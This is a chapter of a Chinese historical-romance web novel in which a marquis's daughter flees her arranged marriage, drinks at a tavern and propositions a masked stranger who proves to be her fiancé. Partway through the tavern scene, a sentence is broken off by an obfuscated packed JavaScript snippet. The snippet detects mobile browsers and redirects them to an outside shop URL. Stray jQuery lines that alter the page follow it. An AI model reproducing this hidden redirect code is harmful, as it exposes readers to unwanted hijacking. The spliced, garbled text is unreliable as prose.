暮春三月,靖安侯府后院,棠月阁。


    “来人呐!走水了!”婢女云春一声高呼,门前看守的几个小厮立时便跑出去喊人抄家伙救火。


    云夏掩着姜玥趁乱跑出棠月阁。


    “娘子,咱们真要这样吗?侯爷和大公子知道了定要怪罪的。”


    云春扶着木梯,神色担忧地看着跃跃欲试的姜玥。


    “左右不过是被打一顿,总好过嫁给顾知聿那个小人,我就是绞了头发做姑子也不要嫁给他!”


    “你们俩扶好了!”姜玥看着面前一丈来高的院墙,咬咬牙踩上木梯。


    所谓一回生二回熟,这些日子为了逃避筹备大婚,翻墙早就不在话下。


    爬上院墙后,姜玥见另一侧空落落的地面,心里发怵,


    爹啊!把墙砌这么高作甚。


    云夏担忧道,“娘子,要不还是下来吧……”


    哪回逃出去不是被大公子捉回来,然后再被侯爷训斥一番,这是何必呢。


    何况她们这位新姑爷,晋国公世子,仪表堂堂,满腹经纶,论才华论相貌,那都无可挑剔,娘子再不愿,每日看着那张脸,也能好受许多吧。


    长辈定下的婚约,两人自小一起长大,本该是青梅竹马两小无猜,可姜玥与顾知聿就如同耗子遇上猫,视同水火。


    话音刚落,转眼间的功夫人就不见了身影。


    姜玥扫了扫衣裙上的灰,幸亏她早有准备,提前放了几块石头垫着。


    婚期就在三天后,这回她可不是玩玩儿了,若再不跑,那就没机会了!


    只要三日内找不到她人,新娘子没了,那么这婚礼就成不了。


    想了想兄长姜昀近日去京营任职,一时半会儿回不来,这下就是想抓她也没机会,


    姜玥松了口气,大摇大摆地向春满楼的方向走去,一边走,一边在心里愤愤道:


    姜昀这个缺心眼儿,是她亲哥吗?胳膊肘尽往外拐。


    前些日子,试婚服,她跑去赌坊,被抓回来,跪了两日祠堂;过了两日要学规矩,她溜去金玉楼听书,又被抓了回来,险些动了家法。


    要不是都姓姜,她还以为他同顾知聿是一家的呢。


    姜玥愤愤甩下瓜子壳儿,招呼伙计上美酒配佳肴,


    春满楼是京城数一数二的酒楼,不仅占地面积大,其内装潢更是富丽堂皇,金光熠熠,白日听书赏曲,夜里看美人灯下舞,最是消遣的好去处。


    想到不日便能解除与顾知聿的婚事,姜玥别提有多开心,这会儿守财奴的性子都撒开几分,只想着痛快痛快。


    “小二,要千日醉!”


    “啪——!”的一声,姜玥甩下一记银锭,份量不小,足有五两之数。


    这样好的日子,得出出血好好纪念一番。


    靖安侯府内,火势不大,不一会儿就灭了,棠月阁门前,站着身穿锦衣华服的一男一女,男子相貌威肃,女子气质雍容,


    靖安侯姜应乾板着脸盘问云春与云夏。


    以姜应乾对女儿的了解程度,撅个屁股都能知道要放什么屁。


    棠月阁出事,那定是自家女儿整出来的幺蛾子。


    见云春与云夏支支吾吾的半天说不出个所以然来,姜应乾气不打一处来,


    “行了,不用说了,人又跑了是吧?来人!都给我出去找,找到了直接给我关进祠堂,我亲自来动手!”


    一旁的姜夫人听见语气不对,心疼女儿,回怼道:


    “玥娘这样还不是你宠的!如今你倒要装严父,好得很!我嫁给你们姜家人真是倒了八辈子霉!”语毕,掩着帕子抽泣起来。


    姜应乾说的是气话,姜夫人刚说一句就歇了气,哪知夫人在众人面前毫不给他留面子,他也只能稍稍硬气几分劝道:


    “夫人呐——,为夫是想着女儿家该娇养,哪成想玥娘顽劣至此!简直简直……不像个姑娘家该有的样子。”


    说到此,姜夫人白了姜应乾一眼,女儿哪里顽劣了,那明明是活泼可爱,女儿家家太守规矩也不好,年纪轻轻活得像个老妪怎么成?


    姜应乾立马转开话头,“总之……如今婚期已定,三日后玥娘出嫁,若是人不见了我该如何和顾兄交代。顾兄与我结义二十余年,为人忠正,治家甚严,知聿这孩子你也是知道的,子承父业,不仅是武状元,还是圣上亲点的探花郎,容貌气度何等出众,我是做父亲的,还能委屈了玥娘不成?”


    他又悄悄低声道了一句:“更重要的是,新姑爷那性子正好能震住玥娘,夫人也不想咱家房梁上的瓦又被揭了个稀巴烂吧?”


    姜玥先前被闷在屋子里待嫁,姜应乾夫妇勒令她不要离开棠月阁,门出不去,人就上了天,大晚上上屋顶看月亮,喝醉了酒差点从房顶上摔下来,人没大事,琉璃瓦倒是碎了许多,姜应乾看得肉疼,偏偏又是自家宝贝女儿,只得骂几句了事。


    闻言,姜夫人拿下帕子,脸色好了不少,她自是知道这个女婿何等优秀,方才不过是听到夫君要动家法,护女心切,一时情急才说那样的话。


    姜应乾继续哄道:“夫人信不过我,还不信顾兄吗?为夫我若不是人品贵重,气质华然,也难与顾兄称兄道弟,这门婚事若非有这档子交情早早定下,只怕如今上晋国公府说媒的人都要踏破门槛了。”


    姜夫人没好气道:“你们父女,一样的嘴贫,我不管了,只是说好,玥娘回来好好劝着,不可动粗。”


    姜应乾自是连连应是。


    顾家派去姜家询问准备事宜的人回府禀报时,正巧碰上顾知聿伺候顾夫人用膳。


    “什么?人又跑了,这都第几回了?”


    仆妇道:“姜家乱成一团,正四处派人找姜娘子,靖安侯还让老奴转告夫人不必担忧,人定会找到,婚期照旧。”


    顾夫人放下汤勺,身旁嬷嬷要劝着再用些,被拒绝了。


    顾夫人语重心长道:“姜家娘子不务正业,顾念着你父亲与靖安侯的交情,这门婚事我也就不说什么了,如今大婚在即,她屡次三番惹事,这摆明了是不想嫁入我晋国公府,既如此,不如退亲了的好。”


    闻言,顾知聿眸光微动,淡声道:“母亲消气,父亲外出公务,不在府中,此事还需从长计议。”


    顾夫人道:“还从长计议什么?这都要成亲了,总不能等到成亲那日再商议吧。”她看着顾知聿心疼不已,


    “为娘就你这么一个孩子,只想要你过得好。放心,你若是不愿,娘就是不要面子,被你父亲责备,也亲去姜家替你退婚。你现在告诉娘,这亲你愿不愿意结?”


    顾知聿没有丝毫犹豫,“母亲,这亲,我结。”


    顾夫人不解道:“为何?那姜娘子空有一副好皮囊,没半点儿女儿家的模样,你仕途正盛,要什么样的夫人娶不到,你可想好了,此话当真?莫要因你父亲的远古而勉强。”


    顾知聿只沉思片刻,给出了答案,


    “靖安侯与父亲结交数十年,情谊深厚,此亲若不成,难免会伤了两家和气,这是其一;姜家大郎昨日才给儿子送礼赔罪,说明了姜娘子是耐不住被关在家中才偷跑出去,并非不愿成亲,儿子已经收下赔礼,若是以此为由退亲,难免失信,这是其二;姜家与顾家同为武将之家,这些年往来颇多,突然退亲,外面势必有流言蜚语,有损顾家声誉,这是其三。”


    “至于其四……孩儿觉得,姜家娘子,尚可。”


    顾夫人鲜少见顾知聿如此郑重同她解释,心下明白他自有自己的考量,几番踌躇下,只好点了头。


    “也罢,十几岁的姑娘难免跳脱了些,届时为娘亲自教导便是。”


    顾知聿劝道:“母亲不必操心,姜家娘子不见了自由他们去寻,与我们顾家无关。”


    *


    夜半,春满楼灯红酒绿,笙歌彻夜不绝,正中央跳胡旋舞的舞娘身姿婀娜,肤白貌美,看得姜玥眼睛都直了。


    姜玥喝了两杯千日醉,酒意上头,对着桌子上的鎏金熏炉自言自语起来。


    “舒坦啊……今日是大饱眼福了,要是再来些俊俏郎君就好了……张公子胸—肌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922244|192603||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发达,吴公子高大健硕,刘公子的更是娇嫩白皙。”


    这是姜玥“无意间”跟着姜应乾考核下面将士时所看见的,皆是赤裸着上身,那场面,真是妙哉妙哉啊!


    “哎,你听说没,靖安侯府的姜家娘子又逃婚了。”不知从哪里传来议论的声音。


    乍然听到自己的名字,姜玥的思绪被拉回几分。


    “这谁能不知,不过也不是什么稀罕事儿,不都跑了好几回了吗?都是男人,我对顾世子同情得很,都是父母之命啊,可惜了顾世子才华斐然,娶这么个女人回来,能有什么好日子过,只怕这会儿听到姜家娘子跑了,心里别提有多高兴了。”


    什么?顾知聿高兴?他还敢嫌弃自己?


    “切!你别替人家操心了,姜家娘子虽品行不堪,可论相貌,满京城找不出第二个与之相提并论的了,没准儿人家顾世子就喜欢长得好看的呢。”


    嘿嘿……这话倒是不假,得亏阿娘生得好,不过这关顾知聿什么事?长得好看才配嫁给他?她才不稀罕!可见顾知聿果然是个好色之徒!


    这两人聒噪得很,姜玥不耐烦,唤来小二,大手一挥,索性将那桌包下,几人走时还很不愉快,不过这才落得个清闲。


    顾知聿这人清高孤傲得很,她一而再再而三逃婚,京城中已经有闲言碎语了,哪个男人能忍耐得了,若是顺利,明日便会去侯府退婚。


    不过以防万一,还需做些准备才是。


    酒意上头,胆子也就大了起来,她灵光一现,不若找个男子假装与他两情相悦,最好是个英武俊朗的,比顾知聿好看的,


    这样一来,未婚妻子心悦他人,且那人还比自己优秀,顾知聿定会不堪受辱,知难而退。


    时间紧迫,只能就地取材,姜玥环顾四周,本没什么希望,要想找个与顾知聿不相上下的男人还真有些难度,不过她今日想是有些运气再身上的,扫视四周,还真发现那么个像样的男人。


    此男腰宽腿长,气质华然,虽戴着面具,可看外形与顾知聿那厮不相上下,身姿卓越,想必相貌也不会差到哪里去。


    再看穿着,姜玥一眼便看出这人身上穿的是一寸可值数金的雨丝锦,看来这人家底阔绰,约莫是哪个王公贵族家的公子。


    这个时候来春满楼,估计也是个酒色之徒,这就好办了。


    人既已经选好,下一步就要使些手段了,演戏她可是好手。


    姜玥喝下一杯千日醉壮壮胆,酒渍沾上唇,嫣红的唇瓣泛着光泽,在细碎的烛光下显得很是诱人。


    她起身端着酒,一步三扭地逼近目标人物。


    “这位郎君,不知可否帮小女子一个忙?”


    温润的嗓音是过分的娇柔软糯,尾音上扬,带着调情的缱绻。


    姜应乾若是亲口听到这句话,只怕会当即不认得这个女儿了。


    男人淡声道,“什么?”


    姜玥眼神一亮,这么冷漠?不过既是回了话,那就是有意思,还故作矜持,有意思么?看她不加大力度,撕下他高冷的面具。


    她翘起兰花指放下酒杯,许是喝了酒的缘故,她感到心跳加快,对上那双幽深的眸子竟有些紧张。


    一双纤纤素手攀上他,掌心是一团炽热,姜玥眼神亮了亮,


    从前只是看过,竟未想到是这般手感,绵软中带着一丝紧实,心中蹦出想要扒光他一探究竟的冲动。


    “怎这样热……”边说着边扯开一边领口,露出半截雪白的香肩,


    食指勾起男人的下巴,谄媚娇笑道,“当我的心上人。”


    此情此景,美人在前,没有哪个男人能把持得住吧,若有,那便不是个男人!


    姜玥自信满满,一双媚眼如丝,擒住眼前之人的目光,好似摄人心魄的妖精,


    片刻后,只听得男人轻笑一声,“好啊。”


    成了!老娘果然魅力不凡!顾知聿你可等着吧!


    在她得意的目光中,男子不疾不徐摘下面具,


    “姜娘子可看好了,我可是你的心上人?”